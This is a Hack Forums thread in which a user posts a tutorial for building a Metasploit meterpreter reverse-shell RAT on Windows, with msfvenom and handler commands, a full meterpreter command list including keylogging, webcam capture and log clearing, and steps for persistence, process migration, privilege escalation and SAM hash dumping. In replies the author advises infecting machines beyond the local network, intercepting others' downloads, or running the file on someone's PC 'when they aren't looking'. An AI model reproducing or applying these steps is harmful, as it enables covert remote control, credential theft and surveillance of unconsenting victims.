

Forum: [Hack Forums](#)

Thread: [How to pentestbox on Windows 10 - Make your first LAN RAT.](#)

Mr. Robot - October 31, 2018, 5:28 am

Simple guide. Will update it later on.

I'll be running simple tutorials from the beginning like this to catch new users up to speed. One after the other, even if you think it's trivial - if you know what kinda shit I got in store in the long run, follow along otherwise you will fall behind.

1. Download and install pentest box with metasploit from here:

<https://pentestbox.org/>

2. Run it and install it to default root directory (C:/PentestBox) (you may need to disable windows defender as there are known CVEs in the directories)

3. Once installed, go to that folder and run PentestBox.exe

Now we create a RAT using metasploit. We wont even bother trying to crypt it.

1. Type in ipconfig and note your IPv4 address, now click the green + button at the top right corner and click start to open another tab.

2. In the new tab type in the following or copy paste it. Replace LHOST=##### with LHOST=IPv4 such as LHOST=192.168.1.22

Code msfvenom -p windows/meterpreter/reverse_tcp -a x86 -platform windows -f exe
LHOST=##### LPORT=4444 -o testfile.exe

3. Open another tab by pressing the green plus button, then start. Type in msfconsole (give it a minute, it will take its time and will pop an error first run)

4. Now type in the following:

Code use multi/handler

Code set payload windows/meterpreter/reverse_tcp

Replace IPV4 again with your IPv4 address.

Code set LHOST IPV4Code set LPORT 4444Code run

5. Now all you need to do is execute that file on a computer within your network. Simply run it on your own PC that you are currently using - navigate to the file you created which will be located here in this folder:

"C:\PentestBox\bin\metasploit-framework"

When you click run on the file that we called testfile.exe you will see a connection in your pentestbox. Now you have control there is so much you can do. Also yes you guessed it, simply open a port on your network and change the local IP for both the file and listening IP to infect outside your network.

Code Core Commands

=====

Command	Description
-----	-----
?	Help menu
background	Backgrounds the current session
bgkill	Kills a background meterpreter script
bglist	Lists running background scripts
bgrun	Executes a meterpreter script as a background thread
channel	Displays information or control active channels
close	Closes a channel
disable_unicode_encoding	Disables encoding of unicode strings
enable_unicode_encoding	Enables encoding of unicode strings
exit	Terminate the meterpreter session
get_timeouts	Get the current session timeout values
guid	Get the session GUID
help	Help menu
info	Displays information about a Post module
irb	Drop into irb scripting mode
load	Load one or more meterpreter extensions
machine_id	Get the MSF ID of the machine attached to the session
migrate	Migrate the server to another process
pivot	Manage pivot listeners
quit	Terminate the meterpreter session
read	Reads data from a channel
resource	Run the commands stored in a file
run	Executes a meterpreter script or Post module
sessions	Quickly switch to another session
set_timeouts	Set the current session timeout values
sleep	Force Meterpreter to go quiet, then re-establish session.
transport	Change the current transport mechanism
use	Deprecated alias for "load"
uuid	Get the UUID for the current session
write	Writes data to a channel

Stdapi: File system Commands

=====

Command	Description
-----	-----
cat	Read the contents of a file to the screen
cd	Change directory
checksum	Retrieve the checksum of a file

cp	Copy source to destination
dir	List files (alias for ls)
download	Download a file or directory
edit	Edit a file
getlwd	Print local working directory
getwd	Print working directory
lcd	Change local working directory
lls	List local files
lpwd	Print local working directory
ls	List files
mkdir	Make directory
mv	Move source to destination
pwd	Print working directory
rm	Delete the specified file
rmdir	Remove directory
search	Search for files
show_mount	List all mount points/logical drives
upload	Upload a file or directory

Stdapi: Networking Commands

=====

Command	Description
-----	-----
arp	Display the host ARP cache
getproxy	Display the current proxy configuration
ifconfig	Display interfaces
ipconfig	Display interfaces
netstat	Display the network connections
portfwd	Forward a local port to a remote service
resolve	Resolve a set of host names on the target
route	View and modify the routing table

Stdapi: System Commands

=====

Command	Description
-----	-----
clearev	Clear the event log
drop_token	Relinquishes any active impersonation token.
execute	Execute a command
getenv	Get one or more environment variable values
getpid	Get the current process identifier
getprivs	Attempt to enable all privileges available to the current process
getsid	Get the SID of the user that the server is running as
getuid	Get the user that the server is running as
kill	Terminate a process
localtime	Displays the target system's local date and time
pgrep	Filter processes by name
pkill	Terminate processes by name
ps	List running processes

reboot	Reboots the remote computer
reg	Modify and interact with the remote registry
rev2self	Calls RevertToSelf() on the remote machine
shell	Drop into a system command shell
shutdown	Shuts down the remote computer
steal_token	Attempts to steal an impersonation token from the target process
suspend	Suspends or resumes a list of processes
sysinfo	Gets information about the remote system, such as OS

Stdapi: User interface Commands

=====

Command	Description
-----	-----
enumdesktops	List all accessible desktops and window stations
getdesktop	Get the current meterpreter desktop
idletime	Returns the number of seconds the remote user has been idle
keyscan_dump	Dump the keystroke buffer
keyscan_start	Start capturing keystrokes
keyscan_stop	Stop capturing keystrokes
screenshot	Grab a screenshot of the interactive desktop
setdesktop	Change the meterpreters current desktop
uictl	Control some of the user interface components

Stdapi: Webcam Commands

=====

Command	Description
-----	-----
record_mic	Record audio from the default microphone for X seconds
webcam_chat	Start a video chat
webcam_list	List webcams
webcam_snap	Take a snapshot from the specified webcam
webcam_stream	Play a video stream from the specified webcam

Priv: Elevate Commands

=====

Command	Description
-----	-----
getsystem	Attempt to elevate your privilege to that of local system.

Priv: Password database Commands

=====

Command	Description
-----	-----
hashdump	Dumps the contents of the SAM database

Priv: Timestomp Commands

=====

Command	Description
-----	-----
timestomp	Manipulate file MACE attributes

meterpreter >

I'd of course recommend adding persistence using the following

Code run persistence -X -U -A -L %TEMP% -i 5 -r ##### -p #####Replace ##### with your IPV4 and ##### with your port (4444)

Then try do something fun like

Code hashdump

If hashdump doesn't work, you might need to migrate to a system process. To do that simply

Code ps

Then look for a system process and its ID such as svchost.exe - mine is 11528

Code migrate 11528

Make sure to use getsystem to elevate privileges

Code getsystem

And

Code getprivs

pmtobefriend - October 31, 2018, 2:41 pm

"Now we create a RAT using metasploit. We wont even bother trying to crypt it." What does a metasploit RAT does? What are the features?

and could I use this tutorial to run a .txt file of my choice on all the pc's connected to the same network?

Mr. Robot - October 31, 2018, 3:44 pm

(Oct 31, 2018 02:41 PM)pmtobefriend Wrote: [\[CITE\]](#) "Now we create a RAT using metasploit. We wont even bother trying to crypt it." What does a metasploit RAT does? What are the features? and could I use this tutorial to run a .txt file of my choice on all the pc's connected to the same network?

The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development.

The features are whatever you code/look for. You can look into other RATs such as FatRat for example that has more features (still using metasploit as the base)

Yes you could run a .txt file of your choice on the computers.

Riggs - November 1, 2018, 7:31 am

Solid tutorial. Need more of these in this section.

GagZa3 - November 1, 2018, 4:44 pm

what a lovely tutorial great

Porn - November 1, 2018, 10:37 pm

Nice tut, if you wanted to spread it outside of your network you would just change it to your public ip/port

Mr. Robot - November 1, 2018, 11:06 pm

(Nov 1, 2018 10:37 PM)pokitame Wrote: [\[CITE\]](#) Nice tut, if you wanted to spread it outside of your network you would just change it to your public ip/port
Yes as posted in the thread..

AptX01 - November 2, 2018, 4:47 am

nice tutor. need more like this
thanks OP

SIM-4018496 - November 2, 2018, 4:56 am

do you guyz get the feeling that some user on HF just live in another dimension? light another league for themselves?

thanks a lot Mr R

Mr. Robot - November 2, 2018, 4:34 pm

(Nov 2, 2018 04:47 AM)AptX01 Wrote: [\[CITE\]](#) nice tutor. need more like this
thanks OP
Well more on the way soon mate.

Danked - November 2, 2018, 6:19 pm

So, what does that mean? Everyone on the same network as your computer, you will inject a rat in their device?

pmtobefriend - November 2, 2018, 8:58 pm

(Oct 31, 2018 03:44 PM)Mr. Robot Wrote: [\[CITE\]](#) The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development.

The features are whatever you code/look for. You can look into other RATs such as FatRat for example that has more features (still using metasploit as the base)

Yes you could run a .txt file of your choice on the computers.
I looked at some video about it and it seems like
it upload somewhere on the network

but you cannot have the file being drop on a pc desktop / folder ? automaticly?

Mr. Robot - November 2, 2018, 10:55 pm

(Nov 2, 2018 06:19 PM)Danked Wrote: [\[CITE\]](#) So, what does that mean? Everyone on the same network as your computer, you will inject a rat in their device?
No to do that you would need to use something like psexec to try move the file locally and run it. You can intercept downloads on your network and replace it with your file we made otherwise just run it on their PC when they aren't looking.

Mr. Robot - February 7, 2019, 6:16 am

This is amazing for you guys wanting to learn

R A B B - February 7, 2019, 7:46 am

Great work Robot!
I actually saved this

Mr. Robot - February 15, 2019, 8:22 pm

(Feb 7, 2019 08:46 AM)R A B B Wrote: [\[CITE\]](#) Great work Robot!
I actually saved this
I have some more tutorials in the works based on this.

VampireHimash - *July 24, 2019, 1:11 am*

Mr Robot thanks a lot for the knowledge share

papiswazy - *July 24, 2019, 5:43 pm*

damn...saving going to have to check try this out, definitely following

Mr. Robot - *July 25, 2019, 12:12 pm*

(Jul 24, 2019 01:11 AM)VampireHimash Wrote: [\[CITE\]](#) Mr Robot thanks a lot for the knowledge share

Not a problem man, happy to help.

teditm - *July 27, 2019, 4:30 pm*

Thanks buddy very nice tut! I test it!!!

saisrujan - *August 21, 2019, 6:26 am*

Nice Tut I would like to check it out
thanks for posting..

Mr. Robot - *August 31, 2019, 2:47 pm*

(Aug 21, 2019 06:26 AM)saisrujan Wrote: [\[CITE\]](#) Nice Tut I would like to check it out
thanks for posting..

No problem dude hpe it helps

Sigma - *September 1, 2019, 8:03 am*

Pentestbox is such a useful tool. Nice guide.